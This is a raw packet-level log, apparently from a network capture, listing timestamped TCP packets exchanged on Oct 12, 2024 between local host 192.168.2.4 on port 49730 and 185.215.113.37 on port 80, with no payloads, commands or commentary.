Oct 12, 2024 13:17:30.652363062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652363062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652381897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652416945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652430058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652430058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652448893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652479887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652482986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652493954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652515888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652534962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652550936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652580976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652600050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652600050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652614117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652647972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652651072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652682066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652689934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652689934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652717113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652748108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652757883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652757883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652781010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652813911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652827024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652827024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652848959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652864933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652883053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652916908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652932882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652932882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652950048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652983904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652988911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652988911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653017998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.653052092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.653064013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653064013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653085947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.653112888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653120995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.653126001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653155088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.653162003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653191090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.653206110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653223991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.653274059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.653274059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684221029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684292078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684297085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684329033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684362888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684367895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684367895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684398890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684432983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684442043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684442043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684468985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684503078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684511900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684511900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684536934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684561014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684571028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684587955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684604883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684621096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684638023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684675932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684678078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684678078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684710026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684748888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.684753895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684753895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.684837103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685067892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685129881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685143948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685229063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685261011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685278893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685278893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685321093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685365915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685365915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685373068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685425043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685431004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685457945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685492992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685503006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685503006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685525894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685560942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685570955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685570955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685595036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685626984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685628891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685650110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685663939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685698986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685733080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685771942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685779095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685779095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685805082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685838938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685849905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685849905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685892105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685930967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685930967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.685951948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.685987949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.686022043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.686022043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714098930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714144945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714162111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714201927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714226961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714257956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714262009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714292049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714319944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714328051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714340925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714360952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714375019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714396000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714410067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714447975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714468956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714482069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714513063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714521885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714521885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714548111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714574099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714582920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714587927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714618921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714653015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714653015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714653969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714688063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714693069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714721918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714757919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714759111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714759111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714792013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714824915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714848995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714880943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714915037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714921951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714921951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.714948893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.714972973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715002060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715037107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715044022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715044022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715070963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715091944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715126038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715138912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715159893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715178013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715193987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715228081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715240002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715240002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715261936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715295076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715296984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715296984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715327978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715353966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715358019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715368032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715403080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715420961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715456009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715483904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715487957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715521097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715524912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715524912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715555906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715570927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715591908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.715639114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.715639114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746565104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746646881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746695042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746695042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746701956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746737957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746773005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746778011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746778011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746807098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746843100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746849060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746849060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746896982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746922016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746931076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746964931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.746977091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746977091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.746999979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747034073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747034073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747034073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747068882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747102976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747108936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747108936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747136116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747169971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747176886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747176886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747205973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747225046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747243881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747256994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747278929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747288942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747314930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747323990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747349024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747354031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747395992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747411013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747454882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747479916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747488976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747503042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747523069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747529030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747558117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747591972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747600079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747600079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747625113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747633934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747663021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747694969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747704029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747704029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747729063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747736931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747765064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747767925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747798920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747832060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747838974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747838974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747867107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747904062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747908115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747908115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747940063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747972012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.747978926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.747978926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.748007059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.748020887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.748040915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.748049021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.748078108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.748111010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.748120070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.748120070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.748147011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.748189926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.748189926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778537989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778599024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778647900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778667927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778667927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778696060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778702974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778737068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778770924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778778076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778778076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778805971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778841019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778844118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778844118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778875113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778908968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778915882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778915882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778948069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778983116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.778995037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.778995037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779016972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.779031992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779052973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.779095888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779095888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779521942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.779572964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.779607058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.779613972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779613972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779665947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779691935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.779745102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.779788017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779788017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.779798985 CEST	80	49730	185.215.113.37	192.168.2.4
